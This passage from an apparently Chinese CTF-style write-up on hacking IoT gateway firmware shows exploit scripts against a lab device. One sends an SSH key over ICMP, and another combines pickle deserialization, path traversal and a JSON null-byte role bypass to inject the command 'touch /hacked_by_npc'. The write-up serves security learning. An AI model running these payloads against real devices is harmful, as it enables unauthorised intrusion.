style="color: rgb(198, 120, 221);">return</span> (i &lt;&lt; <span style="color: rgb(209, 154, 102);">8</span>) | j, data_Xorsum<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">icmp_send</span>():<br/>    icmp_data = <span style="color: rgb(152, 195, 121);">b&#39;00:00:00:00:00:1b@&#39;</span><br/>    icmp_data += <span style="color: rgb(152, 195, 121);">b&#39;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbqytls41JAN2qY7MgqF05rML8zDXYA6CWdT0S3q17l9jXqzITbPv3sCMGUcsZNNkWnxl6MtDTqpu0pIBpZblbsjKC8rbtFV6RbpNDfaJ8esNck4++YdkpG67cHQnvoNkJOFLNfjuuCVtYEo8g3mAb6KCyG9rfa22lHTl+gj99Lw==&#39;</span><br/>    seq, checksum = find_sum(icmp_data)<br/>    icmp_header = struct.pack(<span style="color: rgb(152, 195, 121);">&#39;&gt;BBHHH&#39;</span>, <span style="color: rgb(209, 154, 102);">8</span>, <span style="color: rgb(209, 154, 102);">0</span>, checksum, <span style="color: rgb(209, 154, 102);">0xadde</span>, seq)<br/>    icmp_data_pack = packData(icmp_data, <span style="color: rgb(152, 195, 121);">b&#39;X1Hu-2O23&#39;</span>)<br/>    icmp_payload = icmp_header + icmp_data_pack<br/>    <span style="color: rgb(230, 192, 123);">print</span>(base64Encode(icmp_data))<br/>    <span style="color: rgb(230, 192, 123);">print</span>(icmp_data_pack,<span style="color: rgb(152, 195, 121);">&#39;\n&#39;</span>,  unpackData(icmp_data_pack))<br/>    raw_sfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname(<span style="color: rgb(152, 195, 121);">&#34;icmp&#34;</span>))<br/>    raw_sfd.sendto(icmp_payload, (<span style="color: rgb(152, 195, 121);">&#39;192.168.1.1&#39;</span>, <span style="color: rgb(209, 154, 102);">0</span>))<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#39;__main__&#39;</span>:<br/>    icmp_send()<br/></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  有个小问题就是上传的秘钥不能太长，否则会出现截断问题。可以使用ssh-keygen生成一个1024bit的就行了，或者截开多打几次：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.21388888888888888" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4ac71b14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhXqW5kBBav85PJLJ6lN0p2scGgOK2fBSDAKRt5nGWJYDNsJtd885Ycg%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">pbk</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  题目对应了一个包含前后端的系统，前端用python实现了登录、注册等功能，后端用C++实现了upload_file和查看/tmp目录下某个文件。前端中的权限校验函数<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">auth_check</code>存在反序列化漏洞。其中session_id没有做限制且用户可控。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">auth_check</span>(self, session_id):<br/>    <span style="color: rgb(198, 120, 221);">try</span>:<br/>        <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">not</span> os.path.exists(<span style="color: rgb(152, 195, 121);">&#34;/tmp/session/&#34;</span> + session_id):<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">False</span><br/>        f = <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#34;/tmp/session/&#34;</span> + session_id, <span style="color: rgb(152, 195, 121);">&#34;rb&#34;</span>)<br/>        _session = pickle.loads(f.read())<br/>        f.close()<br/>        current_time = <span style="color: rgb(230, 192, 123);">int</span>(time.time())<br/>        <span style="color: rgb(198, 120, 221);">if</span> current_time - _session.login_time &gt; _session.lease:<br/>            <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">False</span><br/>        <span style="color: rgb(198, 120, 221);">return</span> _session.role<br/>    <span style="color: rgb(198, 120, 221);">except</span>:<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(86, 182, 194);">False</span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  后端c++实现，在逆向的时候基本一半猜一半逆(目前C++水平太拉了)，不过基本的逻辑能理清。核心是解析前端发送的json数据包然后根据role和bk_code的值调用对应处理函数。guest用户有两种情况bk_code == 0x70 or 0x23。对应函数readfile(0041A050)和uploadfile(0041A050)。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.41944444444444445" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=044f347d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhAV9lZFVgibWG1Ge5BnAVzhtdIl7tqy4p8xf2YoliaGeibXqLGxKN6tMWA%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  其中readfile会打开tmp下的一个文件，该文件名称由用户随意指定没有做限制存在目录穿越。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5111111111111111" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2aafc253&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhDINuUHeecrgYNsUNIKUDNoia2r6CHXrWWSjTNa1RljBLIjD15LvO2Tw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  uploadfile实现文件上传同样没有对用户指定的文件名做限制，因此结合前端的漏洞实现反序列化漏洞。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4824074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0136925b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhRH9IkntyWAKKS6x5jtkShajYOUE3ZAibK1BkWWg4ribGlBKCiaEwibr0ag%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于admin用户可以调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sub_419BAC</code>直接命令注入：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4026602176541717" data-s="300,640" style="" data-type="png" data-w="827" src="https://wechat2rss.xlab.app/img-proxy/?k=fd94080d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhNIE6S0Lg9SvTE2uJuPAfdUOfSJHJEXPicDbEohjJVz14icHkwx2m5Vmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  官方wp提供了三种解题思路，前面通过guest漏洞比较直接。而对于admin通过python和json-c对unicode数据解析不一致绕过，例如构造<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">{&#34;r&#34;:&#34;123&#34;,&#34;r\u0000&#34;:&#34;456&#34;}</code>的json包对于python json strict=False来说该json结构中分别存在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">r</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">r\u000</code>两个key。但是如果json-c这样构造就会导致只存在一个key即<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">r</code>，<strong style="line-height: 1.75;color: rgb(255, 118, 118);">这好像是因为json-c的作者沿用c中string标准截断判别，即null截断</strong>，这个问题在github上是该项目中讨论最多的但还是open状态(快10年了)：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.43703703703703706" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=42737739&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhtb1TT2icIqSOvPh3fQjLZGIMSXTvP11jxS2XRKGSoZBdl8zK7xSLpMQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5203703703703704" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=348bb83b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhxU9888yJWia4fXqKiaGoc2FPGyfYUx1H9hGHuKeziaNm1jcc16iaG8OcBg%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">（学到了，学到了）</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">用在题目中就是，构造如下数据：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">backend1 = <span style="color: rgb(152, 195, 121);">&#39;NOVA00010102{&#34;session_id&#34;:&#34;%s&#34;,&#34;func&#34;:18,&#34;f&#34;:32,&#34;d&#34;:&#34;touch /hacked_by_npc&#34;,&#34;r&#34;:&#34;admin&#34;,&#34;r\u0000&#34;:&#34;admin&#34;}&#39;</span> % guest_session_id</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">经过服务器前端转发变成：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">{&#34;session_id&#34;: &#34;THeoEcUFBmUmXQJXJDxPBNzZFlhVFBZk&#34;, &#34;func&#34;: 18, &#34;f&#34;: 32, &#34;d&#34;: &#34;touch /haked_by_npc&#34;, &#34;r&#34;: &#34;guest&#34;, &#34;r\u0000&#34;: &#34;admin&#34;} </code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">然后后端调用<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">json_tokener_parse</code>解析该json包，理所当然的变成<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">r:admin</code>，后端并没有继续解析session_id。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">import</span> socket, json<br/>HEADER = <span style="color: rgb(152, 195, 121);">&#39;NOVA&#39;</span> + <span style="color: rgb(152, 195, 121);">&#39;0001&#39;</span> + <span style="color: rgb(152, 195, 121);">&#39;0102&#39;</span><br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">login</span>(name: <span style="color: rgb(230, 192, 123);">str</span>, pwd: <span style="color: rgb(230, 192, 123);">str</span>, sfd: socket.socket):<br/>    js_data = {<span style="color: rgb(152, 195, 121);">&#39;func&#39;</span>: <span style="color: rgb(209, 154, 102);">1</span>, <span style="color: rgb(152, 195, 121);">&#39;usr&#39;</span>:name, <span style="color: rgb(152, 195, 121);">&#39;pwd&#39;</span>:pwd}<br/>    payload = HEADER + json.dumps(js_data)<br/>    sfd.sendall(payload.encode())<br/>    <span style="color: rgb(198, 120, 221);">return</span> json.loads(sfd.recv(<span style="color: rgb(209, 154, 102);">1024</span>).decode())<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">logout</span>(sessionID: <span style="color: rgb(230, 192, 123);">str</span>, sfd: socket.socket):<br/>    js_data = {<span style="color: rgb(152, 195, 121);">&#39;func&#39;</span>: <span style="color: rgb(209, 154, 102);">0x10</span>, <span style="color: rgb(152, 195, 121);">&#39;session_id&#39;</span>: sessionID}<br/>    payload = HEADER + json.dumps(js_data)<br/>    sfd.sendall(payload.encode())<br/>    <span style="color: rgb(198, 120, 221);">return</span> json.loads(sfd.recv(<span style="color: rgb(209, 154, 102);">1024</span>).decode())<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">register</span>(name: <span style="color: rgb(230, 192, 123);">str</span>, pwd: <span style="color: rgb(230, 192, 123);">str</span>, sfd: socket.socket):<br/>    js_data = {<span style="color: rgb(152, 195, 121);">&#39;func&#39;</span>: <span style="color: rgb(209, 154, 102);">0x11</span>, <span style="color: rgb(152, 195, 121);">&#39;usr&#39;</span>:name, <span style="color: rgb(152, 195, 121);">&#39;pwd&#39;</span>:pwd}<br/>    payload = HEADER + json.dumps(js_data)<br/>    sfd.sendall(payload.encode())<br/>    <span style="color: rgb(198, 120, 221);">return</span> json.loads(sfd.recv(<span style="color: rgb(209, 154, 102);">1024</span>).decode())<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">backhend</span>(js_data, sfd: socket.socket):<br/>    payload = HEADER + json.dumps(js_data)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(payload)<br/>    sfd.sendall(payload.encode())<br/>    <span style="color: rgb(198, 120, 221);">return</span> json.loads(sfd.recv(<span style="color: rgb(209, 154, 102);">1024</span>).decode())<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">delete</span>(sessionID: <span style="color: rgb(230, 192, 123);">str</span>, name: <span style="color: rgb(230, 192, 123);">str</span>, sfd: socket.socket):<br/>    js_data = {<span style="color: rgb(152, 195, 121);">&#39;func&#39;</span>: <span style="color: rgb(209, 154, 102);">0x13</span>, <span style="color: rgb(152, 195, 121);">&#39;session_id&#39;</span>:sessionID, <span style="color: rgb(152, 195, 121);">&#39;usr&#39;</span>:name}<br/>    payload = HEADER + json.dumps(js_data)<br/>    sfd.sendall(payload.encode())<br/>    <span style="color: rgb(198, 120, 221);">return</span> json.loads(sfd.recv(<span style="color: rgb(209, 154, 102);">1024</span>).decode())<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>():<br/>    sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br/>    <span style="color: rgb(198, 120, 221);">try</span>:<br/>        sfd.connect((<span style="color: rgb(152, 195, 121);">&#39;192.168.1.1&#39;</span>, <span style="color: rgb(209, 154, 102);">12345</span>))<br/>    <span style="color: rgb(198, 120, 221);">except</span> Exception <span style="color: rgb(198, 120, 221);">as</span> e:<br/>        <span style="color: rgb(230, 192, 123);">print</span>(e)<br/>        exit(-<span style="color: rgb(209, 154, 102);">1</span>)<br/>    <br/>    bk_json = {<span style="color: rgb(152, 195, 121);">&#39;session_id&#39;</span>:session_id, <span style="color: rgb(152, 195, 121);">&#39;func&#39;</span>:<span style="color: rgb(209, 154, 102);">18</span>, <span style="color: rgb(152, 195, 121);">&#39;f&#39;</span>: <span style="color: rgb(209, 154, 102);">0x23</span>,<span style="color: rgb(152, 195, 121);">&#39;o&#39;</span>: <span style="color: rgb(152, 195, 121);">&#39;../dev/ttyUSB0&#39;</span>}<br/>    session_id = login(<span style="color: rgb(152, 195, 121);">&#39;guest&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;guest&#39;</span>, sfd)[<span style="color: rgb(152, 195, 121);">&#39;data&#39;</span>][<span style="color: rgb(152, 195, 121);">&#39;session_id&#39;</span>]<br/>    <span style="color: rgb(230, 192, 123);">print</span>(backhend(bk_json, sfd))<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">method3</span>():<br/>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br/>    s.connect((<span style="color: rgb(152, 195, 121);">&#39;192.168.1.1&#39;</span>, <span style="color: rgb(209, 154, 102);">12345</span>))<br/>    login_guest = <span style="color: rgb(152, 195, 121);">&#39;NOVA00010102{&#34;usr&#34;:&#34;guest&#34;,&#34;pwd&#34;:&#34;guest&#34;,&#34;func&#34;:1}&#39;</span><br/>    s.sendall(login_guest.encode())<br/>    res = s.recv(<span style="color: rgb(209, 154, 102);">1024</span>)<br/>    res_status = json.loads(res).get(<span style="color: rgb(152, 195, 121);">&#34;result&#34;</span>)<br/>    guest_session_id = json.loads(res).get(<span style="color: rgb(152, 195, 121);">&#34;data&#34;</span>).get(<span style="color: rgb(152, 195, 121);">&#34;session_id&#34;</span>)<br/>    <span style="color: rgb(198, 120, 221);">if</span> (res_status != <span style="color: rgb(152, 195, 121);">&#34;1&#34;</span>) <span style="color: rgb(198, 120, 221);">or</span> (<span style="color: rgb(230, 192, 123);">len</span>(guest_session_id) != <span style="color: rgb(209, 154, 102);">32</span>):<br/>        <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;method2 guest login failed&#34;</span>)<br/>        exit(<span style="color: rgb(209, 154, 102);">0</span>)<br/>    backend1 = <span style="color: rgb(152, 195, 121);">&#39;NOVA00010102{&#34;session_id&#34;:&#34;%s&#34;,&#34;func&#34;:18,&#34;f&#34;:32,&#34;d&#34;:&#34;touch /hacked_by_npc&#34;,&#34;r&#34;:&#34;admin&#34;,&#34;r\u0000&#34;:&#34;admin&#34;}&#39;</span> % guest_session_id<br/>    s.sendall(backend1.encode())<br/>    res = s.recv(<span style="color: rgb(209, 154, 102);">1024</span>)<br/>    <span style="color: rgb(230, 192, 123);">print</span>(res)<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#39;__main__&#39;</span>:<br/>    method3()</code></pre><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">固件3</h1><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  同样无法直接连串口但是和固件二不同的是，串口只会打印出一部分日志，然后就完全没有了：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.08468125594671741" data-s="300,640" style="" data-type="png" data-w="1051" src="https://wechat2rss.xlab.app/img-proxy/?k=d6a29d17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhe9XpGiad9ap5AkOMPuzXMLL2gPJiaZlUz2eOV9ys7NM07OO0UHZ9bymQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">Flattened uImage Tree (FIT) Images</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在解决这个固件问题前需要了解FIT镜像。FIT是一种结构(.itb)，类似于设备树(Device Tree Blob, dtb. 很多嵌入式设备不能主动的发现该设备所拥的硬件，所以在dbt使用之前都需要以硬编码的方式告诉内核外设信息。dtb使用之后一个内核配合不同的设备树信息就可以在多个设备上运行)。只不过FIT存放各个二进制文件的信息如kernel、initramfs、dbt等，这样就可以把它们放在一个image中。然后u-boot读取FIT信息来加载一个嵌入式linux系统。使用dumpimage查看：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">$ dumpimage -l ./hatlab_gateboard-one-kernel.itb <br/>FIT description: MIPS OpenWrt FIT (Flattened Image Tree)<br/>Created:         Sat Mar 18 18:12:12 2023<br/> Image 0 (kernel-1)<br/>  Description:  MIPS OpenWrt Linux-5.4.215<br/>  Created:      Sat Mar 18 18:12:12 2023<br/>  Type:         Kernel Image<br/>  Compression:  gzip compressed<br/>  Data Size:    3451794 Bytes = 3370.89 KiB = 3.29 MiB<br/>  Architecture: MIPS<br/>  OS:           Linux<br/>  Load Address: 0x81001000<br/>  Entry Point:  0x81001000<br/>  Hash algo:    crc32<br/>  Hash value:   54d3f87d<br/>  Hash algo:    sha1<br/>  Hash value:   a2e35b5ec3727408a9af951dee2768db8b42bd93<br/> Image 1 (initrd-1)<br/>  Description:  MIPS OpenWrt hatlab_gateboard-one initrd<br/>  Created:      Sat Mar 18 18:12:12 2023<br/>  Type:         RAMDisk Image<br/>  Compression:  uncompressed<br/>  Data Size:    1715634 Bytes = 1675.42 KiB = 1.64 MiB<br/>  Architecture: MIPS<br/>  OS:           Linux<br/>  Load Address: unavailable<br/>  Entry Point:  unavailable<br/>  Hash algo:    crc32<br/>  Hash value:   6773429c<br/>  Hash algo:    sha1<br/>  Hash value:   0a6ea4a7463ddc1acb38398c4524e5795f783297<br/> Image 2 (fdt-1)<br/>  Description:  MIPS OpenWrt hatlab_gateboard-one device tree blob<br/>  Created:      Sat Mar 18 18:12:12 2023<br/>  Type:         Flat Device Tree<br/>  Compression:  uncompressed<br/>  Data Size:    13146 Bytes = 12.84 KiB = 0.01 MiB<br/>  Architecture: MIPS<br/>  